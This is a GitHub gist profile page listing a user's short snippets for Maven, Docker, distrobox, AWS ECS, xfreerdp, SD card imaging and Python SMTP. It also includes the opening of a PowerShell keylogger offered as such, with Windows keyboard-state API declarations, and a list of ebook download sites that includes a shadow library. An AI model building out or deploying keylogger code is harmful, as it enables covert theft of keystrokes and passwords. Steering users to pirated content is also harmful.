Skip to content

Instantly share code, notes, and snippets.

View dasgoll's full-sized avatar

dasgoll

  • Amman, Jordan
View GitHub Profile
@dasgoll
dasgoll / gist:7b1a796d6e42cb66508bc504bb518f82
Created October 19, 2017 19:41
timeout command on MacOS
brew install coreutils
sudo ln -s /usr/local/bin/gtimeout /usr/local/bin/timeout
@dasgoll
dasgoll / gist:0af934b251e05a474c83989f35938bb0
Last active September 6, 2026 15:57
Sites to download ebooks
http://www.allitebooks.com/
https://sharpbook.net/
http://www.wowebook.org/
http://ebook-dl.com/
http://www.foxebook.net/
https://smtebooks.com/
https://www.packtpub.com/packt/offers/free-learning?from=block
http://gen.lib.rus.ec/
@dasgoll
dasgoll / install_maven.txt
Last active June 2, 2026 06:51
Install Maven 3.3.3
wget https://archive.apache.org/dist/maven/maven-3/3.3.3/binaries/apache-maven-3.3.3-bin.zip
unzip apache-maven-3.3.3-bin.zip
mv apache-maven-3.3.3 /opt/maven
# /etc/profile.d/maven.sh
export M2_HOME=/opt/maven
export PATH=$MAVEN_HOME/bin:$PATH
That’s one of the real strengths of Docker: the ability to go back to a previous commit. The secret is simply to docker tag the image you want.
Here’s an example. In this example, I first installed ping, then committed, then installed curl, and committed that. Then I rolled back the image to contain only ping:
$ docker history imagename
IMAGE CREATED CREATED BY SIZE
f770fc671f11 12 seconds ago apt-get install -y curl 21.3 MB
28445c70c2b3 39 seconds ago apt-get install ping 11.57 MB
8dbd9e392a96 7 months ago 131.5 MB
@dasgoll
dasgoll / gist:8943a686b0cd9eb91be45f0276ea2de6
Created February 12, 2026 15:02
Arch Linux in distrobox under Debian
mkdir ~/.local/bin
mkdir -p ~/archHome
distrobox create --yes --name arch-container --image docker.io/library/archlinux:latest --home ~/archHome
distrobox enter --no-workdir arch-container
sudo pacman -Syu
sudo pacman -S --noconfirm --needed base-devel git
git clone https://aur.archlinux.org/paru.git
cd paru
@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created December 11, 2015 16:44
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
@dasgoll
dasgoll / delete_ecs_cluster.txt
Created October 17, 2015 08:59
Delete AWS ECS cluster - The service cannot be stopped while the primary deployment is scaled above 0
I tried to delete a cluster:
"The Cluster cannot be deleted while Services are active."
I tried to delete the service called 'nginx':
"The service cannot be stopped while the primary deployment is scaled above 0"
Select service, click 'Update' - set 'Number of tasks' to 0
This changed the number of 'Desired Tasks' to 0
Or I guess:
aws ecs update-service --service nginx --desired-count 0 --cluster ecscluster1 --profile devops
@dasgoll
dasgoll / gist:e7e958618fd02ff2498f5297c8983bd8
Created November 16, 2023 22:25
xfreerdp connect and ignore cert
xfreerdp /cert:ignore /u:Administrator /v:192.168.1.82 /p:'let_me_in_dude' +home-drive
Take note of how the SD card is identified.
In my case it is /dev/sdb1.
Then:
sudo dd bs=4M if=/dev/sdb | gzip > /home/your_username/image`date +%d%m%y`.gz
This will compress the image using gzip.
To restore the backup on SD card:
sudo gzip -dc /home/your_username/image.gz | dd bs=4M of=/dev/sdb
@dasgoll
dasgoll / gist:2f27ec2b703fbcb49a273d550d7865f8
Created January 31, 2019 09:50
Python send smtp email outlook
https://medium.freecodecamp.org/send-emails-using-code-4fcea9df63f
# import the smtplib module. It should be included in Python by default
import smtplib
# set up the SMTP server
s = smtplib.SMTP(host='smtp-mail.outlook.com', port=587)
s.starttls()
s.login('jameel@outlook.com', 'password')
===
import smtplib